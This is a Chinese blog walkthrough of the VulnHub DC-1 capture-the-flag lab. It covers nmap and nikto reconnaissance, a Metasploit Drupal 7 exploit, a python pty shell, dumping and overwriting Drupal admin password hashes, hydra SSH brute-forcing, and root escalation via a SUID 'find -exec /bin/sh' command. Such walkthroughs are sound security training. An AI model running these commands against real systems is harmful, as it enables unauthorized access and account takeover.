vulnhub之DC1靶机

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

在这里插入图片描述

靶机概览

详情介绍请参考下载地址
任务目标:拿下5个flag
下载地址:https://www.vulnhub.com/entry/dc-1,292/
靶机界面:
在这里插入图片描述

信息收集

由于我这里采用了NAT,所以很容易确定目标机器,如果你的网络环境里有众多机器,并且系统版本与靶机相似,且不方便更换连接虚拟机的方式,你可以先查看一下DC1的MAC,这样做主机发现时可以通过MAC来过滤靶机。
在这里插入图片描述

nmap信息收集

1:使用nmap作网段的主机发现,确定靶机地址是192.168.40.136
在这里插入图片描述
2:继续使用nmap对靶机做进一步探测
看这样子,还是先去80端口看看吧,不出意外的话,应该是先打80,再爆破22
在这里插入图片描述

网站信息收集

首先看到网站长这个样子
在这里插入图片描述
看到“Drupal Site”基本上就有思路了。

国外三大开源php CMS
drupal        【无专用扫描器,但是msf内置了模块】
wordpress     【有专用扫描器】
joomla        【有专用扫描器】

使用nikto来收集一下

看到Drupal的版本是7.x
在这里插入图片描述
很友好,直接给出了msf,那就来吧在这里插入图片描述

渗透攻击

随意选择一个模块
在这里插入图片描述

查看一下info信息,这和模块适合7.X
在这里插入图片描述
在这里插入图片描述

getshell

已经看到第一个flag了

在这里插入图片描述

Flag1

我们被告知要去找网站的配置文件
在这里插入图片描述

Flag2

在这里插入图片描述

再往下面看,会发现有一些和数据库相关的内容
在这里插入图片描述

进入数据库

首先需要进入shell,然后确认一下端口,看数据库开了没。然后进看到3306端口开了
在这里插入图片描述
这个时候需要注意,不能直接msf进入,因为msf是从web服务打进去的,而HTTP是瞬时协议,需要让python来做一个中介。
交互式shell

交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'

有了python中介,进入数据库,就是这么神奇
在这里插入图片描述
按照拿下flag2时的提示,进入drupaldb
在这里插入图片描述
表的最后有一张users表,查看一下
在这里插入图片描述

*************************** 1. row ***************************
             uid: 0
            name:
            pass:
            mail:
           theme:
       signature:
signature_format: NULL
         created: 0
          access: 0
           login: 0
          status: 0
        timezone: NULL
        language:
         picture: 0
            init:
            data: NULL
*************************** 2. row ***************************
             uid: 1
            name: admin
            pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
            mail: admin@example.com
           theme:
       signature:
signature_format: NULL
         created: 1550581826
          access: 1550583852
           login: 1550582362
          status: 1
        timezone: Australia/Melbourne
        language:
         picture: 0
            init: admin@example.com
            data: b:0;
*************************** 3. row ***************************
             uid: 2
            name: Fred
            pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
            mail: fred@example.org
           theme:
       signature:
signature_format: filtered_html
         created: 1550581952
          access: 1550582225
           login: 1550582225
          status: 1
        timezone: Australia/Melbourne
        language:
         picture: 0
            init: fred@example.org
            data: b:0;
3 rows in set (0.00 sec)

拿下数据库的root账号

破解root的密码的密文不容易,尝试覆盖root的密码
1:现在生成一个密码,明文为alice

php scripts/password-hash.sh alice

在这里插入图片描述
2:进入数据库
输入如下命令

update users set pass="$S$DT7skRNNPHGv673OYXvY9YecYrhUL1GX5ikaJKTZ2zvynIc9erSU" where uid=1;

在这里插入图片描述
3:root的账密现在已经有了admin:alice

登录网站

在这里插入图片描述
随便点点
在这里插入图片描述

Flag3

拿下flag3,此时页面上线索指向了passwd,应该是/etc/passwd
在这里插入图片描述

Flag4

msf端的shell退出数据库,去看看/etc/passwd
在这里插入图片描述
到此为止,线索似乎断了。再回想一下,现在flag4是一个用户,而靶机开放了80和22端口,所以可以考虑爆破ssh了,就以flag4的身份

爆破ssh

使用hydra做ssh爆破

hydra -l flag4 -P /usr/share/john/password.lst 192.168.40.136 ssh -vV -f

爆出账密是flag4:orange
在这里插入图片描述
使用ssh登录系统

Flag4

flag4暗示可以使用相同的方法拿下root
在这里插入图片描述
所以现在的路线就是要看一看root的家目录,那里应该有最后一个flag,即:要提权了

提权

探测SUIDsudo -l,结果发现find就有SUID,得来全不费工夫
在这里插入图片描述

find -exec "/bin/sh" \;

在这里插入图片描述

Flag5

在这里插入图片描述

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值